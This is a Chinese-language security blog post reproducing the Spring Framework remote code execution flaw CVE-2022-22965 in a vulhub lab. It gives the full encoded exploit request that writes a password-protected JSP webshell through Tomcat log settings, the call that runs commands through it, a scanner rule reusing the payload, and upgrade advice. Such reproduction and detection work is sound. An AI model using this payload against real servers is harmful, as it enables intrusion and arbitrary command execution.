Spring Framework遠端程式碼執行漏洞復現
0x01 漏洞描述
Spring framework 是Spring 裡面的一個基礎開源框架,其目的是用於簡化 Java 企業級應用的開發難度和開發週期,2022年3月31日,VMware Tanzu釋出漏洞報告,Spring Framework存在遠端程式碼執行漏洞,在 JDK 9+ 上執行的 Spring MVC 或 Spring WebFlux 應用程式可能容易受到通過資料繫結的遠端程式碼執行 (RCE) 的攻擊
0x02 漏洞影響範圍
Spring Framework < 5.3.18
0x03 漏洞利用條件
JDK9或以上版本系列
Spring框架或衍生的SpringBoot等框架,版本小於v5.3.18或v5.2.20
Spring JavaBean表單引數繫結需要滿足一定條件
部署在Tomcat容器中,且日誌記錄功能開啟(預設狀態)
0x04漏洞復現
通過vulhub拉取
docker-compose up -d
訪問演示頁面
http: //your-ip:8080/?name=Bob&age=25
訪問對應的controller,這裡設定了日誌的檔名、檔案路徑、以及字尾名,將字尾名設定為.jsp,然後不斷地寫入執行命令的jsp程式碼,從而實現webshell的寫入,還需要補充cookie。
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 Host: ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close suffix: %>// c1: Runtime c2: <% DNT: 1
然後,訪問剛寫入的JSP Webshell,執行任意命令
http: //ip:8080/tomcatwar.jsp?pwd=j&cmd=id
0x05檢測poc規則編寫
params: [] name: Spring 遠端命令執行漏洞(CVE-2022-22965) set: {} rules: - method: GET path: '/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= ' headers: DNT: "1" c1: Runtime c2: <% suffix: '%>//' body: "" search: "" followredirects: false expression: response.status == 200 - method: GET path: /tomcatwar.jsp?pwd=j&cmd=id headers: {} body: "" search: "" followredirects: false expression: response.status == 200 && response.body.bcontains(b"uid") groups: {} detail: author: "" links: [] description: "" version: ""
0x06漏洞修復
1、官方已釋出漏洞補丁及修復版本,請評估業務是否受影響後,酌情升級至安全版本。
0x07 參考
https : //blog.csdn.net/huangyongkang666/article/details/124187398
Tide安全團隊正式成立於2019年1月,是新潮資訊旗下以網際網路攻防技術研究為目標的安全團隊,團隊致力於分享高質量原創文章、開源安全工具、交流安全技術,研究方向覆蓋網路攻防、系統安全、Web安全、移動終端、安全開發、物聯網/工控安全/AI安全等多個領域。
團隊作為“省級等保關鍵技術實驗室”先後與哈工大、齊魯銀行、聊城大學、交通學院等多個高校名企建立聯合技術實驗室,近三年來在網路安全技術方面開展研發專案60餘項,獲得各類自主智慧財產權30餘項,省市級科技專案立項20餘項,研究成果應用於產品核心技術研究、國家重點科技專案攻關、專業安全服務等。對安全感興趣的小夥伴可以加入或關注我們。
- 蜻蜓點水binlog
- 埠開放測試
- 驗證碼識別外掛對登入頁面進行爆破
- 山東省移動應用八月份安全態勢
- 潮影線上免殺平臺上線了
- Selenium自動化入坑指南
- 山東省移動應用七月份安全態勢
- Spring Framework遠端程式碼執行漏洞復現
- 內網--埠轉發以及埠複用
- CommonCollections1 Gadget分析
- 初探邏輯分析儀
- 山東省移動應用六月份安全態勢
- gophish釣魚平臺搭建
- 海豚命令執行復現
- ellite sql注入
- 一個Go版(更強大)的TideFinger
- 山東省移動應用五月份安全態勢
- Cobalt Strike的多種上線提醒方法
- URLDNS Gadget分析
- BUUOJ平臺 Web